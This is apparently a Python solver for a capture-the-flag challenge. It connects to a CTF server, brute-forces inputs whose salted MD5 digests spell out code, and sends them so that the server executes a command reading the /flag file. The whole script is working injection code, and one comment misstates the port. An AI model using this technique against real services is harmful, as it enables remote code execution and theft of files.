- #!/usr/bin/env python3
- import hashlib
- import socket
- import sys
- import os
- def is_printable_ascii(c):
- string = chr(c)
- return string.isascii() and string.isprintable()
- def make_payload(line, salt):
- hashed = hashlib.md5((salt + line).encode("utf8")).digest()
- code = filter(is_printable_ascii, hashed)
- return bytes(code).decode("ascii")
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- # now connect to the web server on port 80 - the normal http port
- s.connect(("smartblockchain.ctf.zone", 8333))
- salt = s.recv(64)
- print(salt)
- salt = salt.split()[-1].strip().decode("utf-8")
- print(salt)
- print(f"Here is your salt: {salt}")
- sys.stdout.flush()
- payload = ""
- want="print(open('/flag','r').read())"
- def bits():
- for a in range(64):
- for b in range(64):
- for c in range(64):
- for d in range(64):
- yield chr(33+a) + chr(33+b) + chr(33+c) + chr(33+d)
- res = []
- while want:
- for c in bits():
- r = make_payload(c, salt)
- if r and want.startswith(r):
- print(c)
- res.append(c)
- print(r)
- want = want[len(r):]
- break
- out = open("blup", "w")
- for line in res:
- s.send((line + "\n").encode("utf-8"))
- if line[-1] == "\n": line = line[:-1]
- payload += make_payload(line, salt)
- s.shutdown(socket.SHUT_WR)
- print(s.recv(1000))
- eval(payload)